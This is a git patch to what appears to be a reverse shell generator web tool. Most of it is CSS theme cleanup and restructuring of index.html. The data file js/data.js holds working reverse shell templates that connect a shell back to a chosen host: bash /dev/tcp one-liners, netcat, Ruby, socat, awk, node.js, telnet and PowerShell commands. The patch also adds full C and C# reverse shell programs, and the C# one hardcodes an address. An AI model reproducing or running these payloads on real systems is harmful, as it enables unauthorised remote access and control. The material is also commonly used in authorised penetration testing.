From f722d7de985406081edf3d9573d1fe8e2a1e4dc0 Mon Sep 17 00:00:00 2001 From: briskets Date: Sat, 13 Mar 2021 17:46:18 -0500 Subject: [PATCH] wip: adds more features, cleanup --- css/dark-mode.css | 6 + css/dark-mode.min.css | 2 +- css/light-mode.css | 50 ++-- css/light-mode.min.css | 2 +- index.html | 545 ++++++++++++++++++++++++----------------- js/data.js | 27 +- 6 files changed, 380 insertions(+), 252 deletions(-) diff --git a/css/dark-mode.css b/css/dark-mode.css index b9c8ece..6151e2b 100644 --- a/css/dark-mode.css +++ b/css/dark-mode.css @@ -66,4 +66,10 @@ h2 { .card-body { max-height: 40rem; +} + +.list-group-item.active, +.list-group-item-action:focus, +.list-group-item-action:hover { + background-color: #375a7f; } \ No newline at end of file diff --git a/css/dark-mode.min.css b/css/dark-mode.min.css index 6194c43..96c967f 100644 --- a/css/dark-mode.min.css +++ b/css/dark-mode.min.css @@ -1 +1 @@ -.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem} \ No newline at end of file +.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f} \ No newline at end of file diff --git a/css/light-mode.css b/css/light-mode.css index 7143fb6..edde325 100644 --- a/css/light-mode.css +++ b/css/light-mode.css @@ -8,7 +8,7 @@ Ain't got time for using CSS the right way. !important everything! [data-theme="light"] .card { background-color: rgb(175, 139, 173) !important; - color:#000; + color: #000; } [data-theme="light"] .bg-white { @@ -38,14 +38,14 @@ Ain't got time for using CSS the right way. !important everything! } [data-theme="light"] .input-group-text { - background-color:#f1c6ce; - color:#000; + background-color: #f1c6ce; + color: #000; } [data-theme="light"] .btn { background-color: #a56096; - color:#000; - border-color:#a56096; + color: #000; + border-color: #a56096; } [data-theme="light"] .highlighted-parameter { @@ -64,16 +64,16 @@ Ain't got time for using CSS the right way. !important everything! user-select: none; } -[data-theme="light"] .custom-control-input:checked~.custom-control-label::before{ - background-color:#7223b5; - } +[data-theme="light"] .custom-control-input:checked~.custom-control-label::before { + background-color: #7223b5; +} [data-theme="light"] #listener-command { border: none !important; border-radius: 5px; box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); background-color: rgb(45, 139, 135); - color:#000; + color: #000; } [data-theme="light"] #reverse-shell-command { @@ -81,32 +81,33 @@ Ain't got time for using CSS the right way. !important everything! border-radius: 5px; box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); background-color: rgb(45, 139, 135); - color:#000; + color: #000; max-height: 20rem; } [data-theme="light"] .custom-select { background-color: #f1c6ce; - color:#000; - border-color:#a56096; + color: #000; + border-color: #a56096; } [data-theme="light"] .custom-control-input:checked { - color:#000; + color: #000; } [data-theme="light"] a { - background-color:#f1c6ce; - color:#000; + background-color: #f1c6ce; + color: #000; } -[data-theme="light"] .list-group-item{ - color:#000; +[data-theme="light"] .list-group-item { + background-color: #f1c6ce; + color: #000; } [data-theme="light"] .list-group-item.active { -background-color:#a56096; -border-color: #000; + background-color: #a56096; + border-color: #000; } [data-theme="light"] .list-group-item:hover { @@ -114,7 +115,7 @@ border-color: #000; } [data-theme="light"] .list-group-item.hover { - background-color:rgba(153, 28, 143, 0.75); + background-color: rgba(153, 28, 143, 0.75); } [data-theme="light"] .container { @@ -125,15 +126,14 @@ border-color: #000; } [data-theme="light"] .card-title { -color: #000 !important; + color: #000 !important; } [data-theme="light"] .custom-control-label { -color: black; + color: black; } -[data-theme="light"] h2 - { +[data-theme="light"] h2 { color: white; text-align: center; } @@ -289,4 +289,4 @@ color: black; 100% { color: orange; } -} +} \ No newline at end of file diff --git a/css/light-mode.min.css b/css/light-mode.min.css index df32762..964b486 100644 --- a/css/light-mode.min.css +++ b/css/light-mode.min.css @@ -1 +1 @@ -[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}} \ No newline at end of file +[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}} \ No newline at end of file diff --git a/index.html b/index.html index 785d407..4c4a74c 100644 --- a/index.html +++ b/index.html @@ -12,7 +12,8 @@ - + @@ -32,14 +33,15 @@
- +
- Configuration + IP & Port
+
@@ -50,7 +52,7 @@ IP
@@ -62,11 +64,11 @@ Port
@@ -87,7 +89,7 @@
- +
@@ -109,7 +111,7 @@
-
+
🚀

@@ -141,117 +143,188 @@
 
         
- -
-
+ +
+ +
+ +
+
- -
- - -
+ + -
Reverse shell
+
+
+ +
+
-
-
- - -
-
- -
+ +
+ +
- -
- - -
-
-
🚀
-

-                                
-
- - - - - -
-
- -
- -
-
-
- - -
-
- -
- -
-
-
- - - - - - - -
- -
- - -
- - -
- + +
+ +
- + + + +
+ + +
+ + +
Type
+
+ +
+
+ + +
+
+ +
+
+ + +
+ + +
+
+
🚀
+

+                                        
+
+ + +
+ + +
+
+ +
+ +
+
+
+ + +
+
+ +
+ +
+
+
+ +
+ + +
+ +
+ + +
+ + +
+ +
+ + +
+
+
- - +
+ +
...
+
...
+
...
- + +
-
@@ -272,14 +345,40 @@ - + \ No newline at end of file diff --git a/js/data.js b/js/data.js index f5e44c6..8b9d53d 100644 --- a/js/data.js +++ b/js/data.js @@ -10,13 +10,17 @@ const rsgData = { ], shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], - + + upgrade: ['python', ], + //C shell needs fixed reverseShellsCommands: [ ['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'], ['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'], ['Bash read line', 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done'], ['Bash 5', '{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5'], ['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'], + ['C', '#include <stdio.h\>\n#include <sys\/socket.h\>\n#include <sys\/types.h\>\n#include <stdlib.h\>\n#include <unistd.h>\n#include <netinet/in.h\>\n#include <arpa/inet.h\>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr("{ip}");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {"{shell}", NULL};\n execve("{shell}", argv, NULL);\n\n return 0; \n}'], + ['C#', 'using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n public class Program\n {\n static StreamWriter streamWriter;\n\n public static void Main(string[] args)\n {\n using(TcpClient client = new TcpClient("10.0.2.15", 443))\n {\n using(Stream stream = client.GetStream())\n {\n using(StreamReader rdr = new StreamReader(stream))\n {\n streamWriter = new StreamWriter(stream);\n \n StringBuilder strInput = new StringBuilder();\n\n Process p = new Process();\n p.StartInfo.FileName = "cmd.exe";\n p.StartInfo.CreateNoWindow = true;\n p.StartInfo.UseShellExecute = false;\n p.StartInfo.RedirectStandardOutput = true;\n p.StartInfo.RedirectStandardInput = true;\n p.StartInfo.RedirectStandardError = true;\n p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n p.Start();\n p.BeginOutputReadLine();\n\n while(true)\n {\n strInput.Append(rdr.ReadLine());\n //strInput.Append("\\n");\n p.StandardInput.WriteLine(strInput);\n strInput.Remove(0, strInput.Length);\n }\n }\n }\n }\n }\n\n private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n }\n}'], ['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f'], ['nc -e', 'nc -e {shell} {ip} {port}'], ['nc -c', 'nc -c {shell} {ip} {port}'], @@ -41,7 +45,7 @@ const rsgData = { ['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("{shell} -i <&%d >&%d 2>&%d",f,f,f)\''], ['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''], ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], - ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'], + ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'{shell}\',pty,stderr,setsid,sigint,sane'], ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], ['node.js', 'require(\'child_process\').exec(\'nc -e {shell} {ip} {port}\')'], ['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF'], @@ -49,5 +53,22 @@ const rsgData = { specialCommands: { 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' - } + }, + commands: [ + { + name: 'Bash -i', + command: '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1', + meta: ['linux', 'windows', 'mac'] + }, + { + name: 'Bash 196', + command: '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196', + meta: ['windows', 'mac'] + }, + { + name: 'Bash read line', + command: 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done', + meta: ['linux', 'mac'] + }, + ] }